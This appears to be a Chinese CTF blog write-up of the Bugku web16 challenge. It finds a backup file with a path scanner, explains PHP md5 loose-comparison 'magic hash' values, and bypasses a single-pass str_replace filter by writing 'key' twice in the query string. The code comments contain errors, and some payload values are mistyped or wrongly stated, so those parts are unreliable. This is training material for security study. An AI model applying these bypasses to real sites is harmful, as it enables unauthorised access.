Bugku web16 备份是个好习惯

8 篇文章 1 订阅
7 篇文章 0 订阅

Bugku web16 备份是个好习惯

题目地址

打开网页是怎么个玩意,看格式好像是md5先不管。
在这里插入图片描述
因为题目是讲的备份文件,那就用路径扫描工具扫一下
在这里插入图片描述
扫描出了一个index.php.bak 应该是这个没错了
在这里插入图片描述
果然是,下载下来后是一个index.php文件,代码如下 // 代码是我加上去的

<?php
include_once "flag.php";                            // include 文件包含 加_once 的意思是不区分大小写
ini_set("display_errors",0);            // 显示所有错误信息
$str = strstr($_SERVER['REQUEST_URI'],'?');

// $_SERVER['REQUEST_URL'] 查看当前url 例如当前页面是http://www.zixueku.com/plus/search.php?kwtype=0&keyword=php&searchtype=titlekeyword
// 结果就是plus/search.php?kwtype=0&keyword=php&searchtype=titlekeyword

$str = substr($str,1);          // 从变量$str 第一个字符开始计算
$str = str_replace('key','',$str);      // 把变量 $str 中的key 替换为空   只执行一遍可以双写绕过
parse_str($str);                    // 解析$str
echo md5($key1);
echo "<br/>";
echo md5($key2);
if (md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}


先看到最后一句

if (md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}

这个意思是,当我们传入参数条件是:md5加密过的 key1 要等于 key2,并且 没加密的key1 和 key2 不能相等,这里网上找了4个,随便输两个就可以

// 240610708 和 QNKCDZO md5值类型相似,但并不相同,在“==”相等操作符的运算下,结果返回了true。
// 这是个经典的漏洞,只需要找到md5值为0exxx(xxx全为数字,共30位),这里我提供4个都可以通过的值:240610708、QNKCDZO、aabg7XSs、aabC9RqS

// 240640708 的md5值为   0e462097431906509019562988736854
// QNKCDZO 的md5值为     0e830400451993494058024219903391
// aabg7XSs 的md5值为    0e087386482136013740957780965295
// aabC9RqS 的md5值为    0e041022518165728065344349536299

那我们直接填入?key1=240640708&&key2QNKCDZO 按道理这样就能拿到flag的
但是代码还有一句

$str = str_replace('key','',$str);

当我们传入的参数带有key就会被替换为空(这™绝对是来捣乱的)
不过没关系我们可以双写绕过
原来代码 ?key1=240640708&&key2=QNKCDZO

把代码改成 ?kekey y1=240640708&&kekey y2QNKCDZO,—— 掉的表示被替换为空的
当把我的key变成空之后,ke y1就合成了一对,这样往下执行就又变成了
?key1=240640708&&key2=QNKCDZO 拿到falg在这里插入图片描述

  • 6
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值